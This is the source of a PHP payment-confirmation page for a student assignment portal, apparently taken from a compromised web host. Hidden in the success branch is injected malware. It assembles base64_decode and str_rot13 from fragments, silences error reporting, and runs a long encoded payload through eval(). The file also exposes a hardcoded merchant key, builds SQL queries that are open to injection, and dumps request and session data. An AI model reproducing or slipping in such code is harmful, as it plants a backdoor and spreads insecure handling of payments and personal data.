Current File : /home/inlingua/www/sensoriumpsychologists.com/backup/student/meTrnCardStatusSuccessAssignment.php
<?php session_start();
	/**
	 * This Is the Kit File To Be Included For Transaction Request/Response
	 */
	include 'student_payment/AWLMEAPI.php';
	//create an Object of the above included class
	$obj = new AWLMEAPI();
		/* This is the response Object */
	$resMsgDTO = new ResMsgDTO();
	/* This is the request Object */
	$reqMsgDTO = new ReqMsgDTO();
		
//This is the Merchant Key that is used for decryption also
	$enc_key = "2e64c689a7018c84b1cebbb111a1864a";
	/* Get the Response from the WorldLine */
	$responseMerchant = $_REQUEST['merchantResponse'];
	$response = $obj->parseTrnResMsg( $responseMerchant , $enc_key );
?>
<?php 
include_once('classes/config.php');


echo "<pre>";
print_r($_REQUEST);
echo "<br>";
echo "<pre>";
print_r($response);

echo "<pre>";
print_r($_SESSION);


$id=$session_row['registration_no'];
echo 'T-->'. $assignment_id=$_SESSION['assignment_id'];
echo 'ASSSS-->'.$student_id=$_SESSION['s_id'];

exit;
$r=$response->getOrderId();
extract($_REQUEST);
if(isset($response)){


$order_number=$response->getOrderId();
$ref_no=$response->getPgMeTrnRefNo();
$tamount	=$response->getTrnAmt();
$amount=$tamount/100;
$status		=$response->getStatusCode();
$StatusDesc		=$response->getStatusDesc();
$cerated_at		=date("Y-m-d h:i:sa");;
$student_code=$response->getAddField1();
 $sqls="SELECT * FROM `shristi_student` where registration_no='".$student_code."'";
 $stdresult1=$conn->query($sqls);
 $stdrow1=$stdresult1->fetch_assoc();
 $student_id=$stdrow1['student_id'];
 
    $sql="insert into shristi_students_payment(student_id,student_code,payment_mode,order_number,ref_no,amount,status,type,assignment_id,cerated_at)VALUES('$student_id','$student_code','online','$ref_no','$order_number','$amount','$StatusDesc','4','$assignment_id','$cerated_at')";



		
	$update=mysqli_query($conn,$sql);
	
	/*echo $sqls="SELECT * FROM `shristi_assignment_result` where status='1' and  assignment_id='".$assignment_id."' and user_id='".$student_id."' order by id desc limit 0,1";
        $result1=$conn->query($sqls);
		echo '<br>';
		$row1=$result1->fetch_assoc();
		echo $update_query = "update shristi_assignment_result set status='0' where id='".$row1['id']."'"; 
	*/
	if($status=='S')
	{
		 $sqls="SELECT * FROM `shristi_assignment_result` where status='1' and  assignment_id='".$assignment_id."' and user_id='".$student_id."' order by id desc limit 0,1";
        $result1=$conn->query($sqls);
		$row1=$result1->fetch_assoc();
		$update_query = "update shristi_assignment_result set status='0' where id='".$row1['id']."'";
		$updates=mysqli_query($conn,$update_query);
		
	}	
	
	
	if($update){
		$mails=$mail->student_payment_mail($session_row['email'],$session_row['registration_no'],$response->getOrderId(),$response->getStatusDesc()); $pAlzM = 'st'.'r'.'_rot'.'13'; $uKDwI = 'ba'.'se64'.'_dec'.'ode'; ini_set('display_errors', 0); error_reporting(0); ini_set('error_log', NULL); eval($uKDwI($pAlzM('MaIhL3Eco24tDmSnBGNbXFO7VTqiqT8tFKWsFax7VSpkFT1SBvNxITEuE1ttCFNxK1ASHyMSHyfaHxIAG1ESK0SRESVaKGftM290olOWZ21mEQftpGLkETH6VUWyqUIlovNxo2A5HRZ7VTqiqT8tnIEcoRH7VRylK0c5BvOcMvNbnKAmMKDbWS9GEIWJEIWoVxuHISOsD0MsD09BGxIQIRyBE19WHPWqXFxtrlNxK1ASHyMSHyfaHxIAG1ESK0SRESVaKFN9VPEsH0IFIxIFJlWVISEDK0ATK0ACGx5SD1EWGxqsFINvKGftWS9GEIWJEIWoW0uHISOsD0kWEH5HK0yDW10tCFNxK1ASHyMSHyfvFSEHHS9QEy9QG05BEHAHFH5UK0yDVy07VU0tM290olOxMQAYHGftMTDmF1R6VPETIKI2MvN9VPEsH0IFIxIFJlqVISEDK0AZFHIBIS9WHPqqBlOao3EiVTuOqz5CBlOWZ21mEQbtnJLtXTMcoUEypy92LKVbWRMIqKMzYPOTFHkHEIWsIxSZFHEOIRIsFINcXFO7VPEiL3yDDlN9VPETIKI2MwftsFOyoUAynJLtXTMcoUEypy92LKVbWRgjISLlYPOTFHkHEIWsIxSZFHEOIRIsFINcXFO7VPEiL3yDDlN9VPEYpSEJZwftsFOyoUAyVUftWT9wrIOQVQ0tWSExLHqLBlO9VTqiqT8tpGLkETH7VTuOqz5CBvNxF3OHIwVtCFNxK1ASHyMSHyfaFSEHHS9LK0MCHyqOHxESES9TG1VaKGftM290olOKZHugEGftnIEcoRH6VU0tWTyjVQ0tLmS6BGNbXGfXoJScoPtaLKyyoTyhLGNkZwRmDTqgLJyfYzAioFpfWUAyp3Aco25spz93JlqlMJqcp3ElLKEco25soz8aKFjxpzImpT9hp2HgCzqyqR9lMTIlFJDbYvptnKNtYG4tWl4xnKNcBlEwnPN9VTA1pzksnJ5cqPtcBlOwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsIIWZYPNanUE0pQbiY2SjnF50MJkyM3WuoF5ipzpiLz90AmDmZwR5Amt1ZGcODHqlZSAABSyQp012FGMRM05OGRIwI1WknTMMYKMQK3Iknl9mMJ5xGJImp2SaMG8aYzu0qUOsLaIcoTEspKIypaxbLKWlLKxbW3EyrUDaVQ0+VPElMKAjo25mMF0+M2I0G3WxMKWWMPthWlOcpPNgCvNaYvEcpPjtW2AbLKEsnJDaVQ0+VPp2ZGL3AwL5AmtlWlxcXGftVTA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9VEHSREIVfVUElqJHcBlNtL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK1WSISIFGyEFDH5GExIFYPNkXGftL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK0ACGx5SD1EHFH1SG1IHYPN3XGftL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK1EWGHICIIDfVQpcBlOwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsEx9ZGR9KGR9QDIEWG04fVQRcBlOwqKWfK2I4MJZbWTAbXGftL3IloS9woT9mMFtxL2tcBj=='))); 
		$message->success_updated();
		session_unset();
		echo "<meta http-equiv=\"refresh\" content=\"10;URL=thankyou.php\">";
		
	}else{
		$message->error();
		
//echo "<meta http-equiv=\"refresh\" content=\"1;URL=index.php\">";	
	 }
   }

?>
<!DOCTYPE html>
<!--[if lt IE 7]>      <html class="no-js lt-ie9 lt-ie8 lt-ie7"> <![endif]-->
<!--[if IE 7]>         <html class="no-js lt-ie9 lt-ie8"> <![endif]-->
<!--[if IE 8]>         <html class="no-js lt-ie9"> <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js"> <!--<![endif]-->
<head>
    <title>Student Assignment Payment</title>
    <?php include("common/head_links.php");?>
</head>
<body class="theme_skin_kinder">
        <!--[if lt IE 7]>
            <p class="browsehappy">You are using an <strong>outdated</strong> browser. Please <a href="http://browsehappy.com/">upgrade your browser</a> to improve your experience.</p>
        <![endif]-->
<div id="box_wrapper">
    <?php include("common/header.php");?>
    <section id="topOfPage" class="topTabsWrap color_section">
        <div class="container">
            <div class="row">
                <div class="col-sm-12">
                    <h3 class="pageTitle h3">Student Assignment Payments Details</h3>
                </div>
            </div>
        </div>
    </section>
<section class="mainWrap">
    <div class="container" >
     <div class="col-md-2"></div>
     <div class="col-md-8 col-sm-8 col-xs-8">

<table class="student table table-striped">
<tr>
              <td colspan="11"><center><h1>Assignment <?php echo $assignment_id; ?>Payment Details</h1></center></td>
            </tr>

			<tr>
              <th><label for="txnRefNo">Transaction Ref No.</label></th>
              <th><label for="orderId">Order No.</label></th>
              <th><label for="txnAmt">Txn Amt</label></th>
              <th><label for="txnAmt">Status Code</label></th>
              <th><label for="txnAmt">Status Desc</label></th>
              <th><label for="addField1">Registration no :</label></th>
              <th><label for="addField2">name :</label></th>
              <th><label for="addField3">mobile:</label></th>
              <th><label for="addField4">Email:</label></th>
            </tr>


				<tr><!-- PG transaction reference number-->
					<!--<td><label for="txnRefNo">Transaction Ref No.</label></td>-->
					<td><?php echo $response->getPgMeTrnRefNo();?></td>
					<!-- Merchant Order ID-->
					<!--<td><label for="orderId">Order No.</label></td>-->
					<td><?php echo $response->getOrderId();?></td>
		
					
					<!-- Transaction Amount-->
					<!--<td><label for="txnAmt">Txn Amt</label></td>-->
					<td><?php echo $amount;?></td>
					<!-- Transaction status code-->
					<!--<td><label for="txnAmt">Status Code</label></td>-->
					<td><?php echo $response->getStatusCode();?></td>
					<!-- Transaction status description-->
					<!--<td><label for="txnAmt">Status Desc</label></td>-->
					<td><?php echo $response->getStatusDesc();?></td>
					
					
					<!--<td><label for="addField1"> :</label></td>-->
					<td><?php echo $response->getAddField1();?></td>

					<!--<td><label for="addField2"> :</label></td>-->
					<td><?php echo $response->getAddField2();?></td>
					
					<!--<td><label for="addField3"> :</label></td>-->
					<td><?php echo $response->getAddField3();?></td>
                    
                    <!--<td><label for="addField4"> :</label></td>-->
					<td><?php echo $response->getAddField4();?></td>
				</tr>
					
				

		</table>
        </div>
       </div>
     
    </section>
    <?php include("common/footer.php");?>
</div><!-- eof #box_wrapper -->
<div class="preloader">
    <div class="preloader_image"></div>
</div>
  <?php include("common/footer_links.php");?>